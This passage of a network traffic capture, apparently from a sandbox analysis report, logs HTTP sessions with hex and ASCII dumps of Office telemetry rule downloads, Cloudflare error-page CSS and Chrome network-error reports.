.cf-columns
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 30 3b 70 61 64 64 69 6e 67 3a 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 31 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 34 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 36 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 7d 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 30 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 33 7d 23 63 66 2d 77 72 61 70 70 65 Data Ascii: 0;padding:0}#cf-wrapper h1,#cf-wrapper h2,#cf-wrapper h3{font-weight:400}#cf-wrapper h4,#cf-wrapper h5,#cf-wrapper h6,#cf-wrapper strong{font-weight:600}#cf-wrapper h1{font-size:36px;line-height:1.2}#cf-wrapper h2{font-size:30px;line-height:1.3}#cf-wrappe
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 68 32 2b 68 34 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2b 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 32 2b 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 68 35 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 68 36 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 33 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 34 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 6f 6c 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 70 2c 23 63 66 2d 77 72 61 70 70 65 72 20 68 35 2b 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2e 35 65 6d 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 39 39 3b 63 6f 6c Data Ascii: h2+h4,#cf-wrapper h2+h5,#cf-wrapper h2+h6,#cf-wrapper h3+h5,#cf-wrapper h3+h6,#cf-wrapper h3+p,#cf-wrapper h4+p,#cf-wrapper h5+ol,#cf-wrapper h5+p,#cf-wrapper h5+ul{margin-top:.5em}#cf-wrapper .cf-btn{background-color:transparent;border:1px solid #999;col
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 3a 23 36 32 61 31 64 38 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 36 33 39 35 39 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 69 6d 70 6f 72 74 61 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 62 64 32 34 32 36 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 64 61 6e 67 65 72 3a 68 6f 76 65 72 2c 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 62 74 6e 2d 65 72 72 6f 72 3a 68 6f 76 65 72 2c 23 Data Ascii: :#62a1d8;border:1px solid #163959;color:#fff}#cf-wrapper .cf-btn-danger,#cf-wrapper .cf-btn-error,#cf-wrapper .cf-btn-important{background-color:#bd2426;border-color:transparent;color:#fff}#cf-wrapper .cf-btn-danger:hover,#cf-wrapper .cf-btn-error:hover,#
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 61 63 65 3a 6e 6f 77 72 61 70 7d 23 63 66 2d 77 72 61 70 70 65 72 20 69 6e 70 75 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 73 65 6c 65 63 74 2c 23 63 66 2d 77 72 61 70 70 65 72 20 74 65 78 74 61 72 65 61 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 39 39 39 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 23 34 30 34 30 34 30 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 36 36 36 37 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 32 34 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 21 69 6d 70 6f 72 74 61 6e Data Ascii: ace:nowrap}#cf-wrapper input,#cf-wrapper select,#cf-wrapper textarea{background:#fff!important;border:1px solid #999!important;color:#404040!important;font-size:.86667em!important;line-height:1.24!important;margin:0 0 1em!important;max-width:100%!importan
2024-10-16 15:56:37 UTC	1369	IN	Data Raw: 3a 23 34 30 34 30 34 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 70 61 64 64 69 6e 67 3a 37 2e 35 70 78 20 31 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 32 70 78 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 3a 65 6d 70 74 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 23 63 66 2d 77 72 61 70 70 65 72 20 2e 63 66 2d 61 6c 65 72 74 20 2e 63 66 2d 63 6c 6f 73 65 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 2e 37 35 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 70 61 64 64 69 6e Data Ascii: :#404040;font-size:13px;padding:7.5px 15px;position:relative;vertical-align:middle;border-radius:2px}#cf-wrapper .cf-alert:empty{display:none}#cf-wrapper .cf-alert .cf-close{border:1px solid transparent;color:inherit;font-size:18.75px;line-height:1;paddin

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 2a2929eb-001e-0065-08d8-1e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-16b659b4499gfl4fdbx49yxptw0000000a90000000009z29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 98b9c852-901e-00a0-49d8-1e6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-r197bdfb6b4t7wszfv34ug09fs000000022g00000000gaw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49771	35.190.80.1	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	546	OUT	OPTIONS /report/v4?s=cR4qaw1sRGOne6Z2b%2BstG7J5yPmJONU%2B8fccn2EOGmvskvQslEHgNgr5WzaQ96eKNHnWmPCZDZtSWQiG7S7vR2Td6uAN4KaVymztZhDBwmBykgYm%2BHf2V5bTKRvm7H%2F6VowtWg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://earthheros.com.de Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:37 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 16 Oct 2024 15:56:37 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 52ecbb12-901e-0029-18d8-1e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-16b659b4499bnwsctrq8dt6ghw000000071g00000000d9zv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 10950230-501e-007b-4cd8-1e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-16b659b4499xhcppz4ucy307n4000000067000000000rerv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:37 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:37 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: fe1c9c5c-601e-00ab-47d8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155637Z-16b659b4499j6g8p9q09hdsh1000000007w000000000cyt5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:38 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:38 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: d34f4ef6-701e-0053-0cd8-1e3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155638Z-16b659b4499mk7vv3349cr2qug00000009t0000000007ebn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-16 15:56:38 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49778	35.190.80.1	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	486	OUT	POST /report/v4?s=cR4qaw1sRGOne6Z2b%2BstG7J5yPmJONU%2B8fccn2EOGmvskvQslEHgNgr5WzaQ96eKNHnWmPCZDZtSWQiG7S7vR2Td6uAN4KaVymztZhDBwmBykgYm%2BHf2V5bTKRvm7H%2F6VowtWg%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 422 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:38 UTC	422	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 34 31 30 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 6f 6c 64 6c 69 6f 6e 61 70 70 61 72 65 6c 2e 63 6f 6d 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 37 32 2e 36 37 2e 31 35 37 2e 31 37 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 33 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 Data Ascii: [{"age":0,"body":{"elapsed_time":1410,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://boldlionapparel.com/","sampling_fraction":1.0,"server_ip":"172.67.157.17","status_code":403,"type":"http.error"},"type":"network-error","u
2024-10-16 15:56:38 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 16 Oct 2024 15:56:38 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:38 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:38 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 37c2ad28-001e-0049-5fd8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155638Z-r197bdfb6b4gdlhqvqfas3qb5400000008b00000000058n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:38 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:38 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
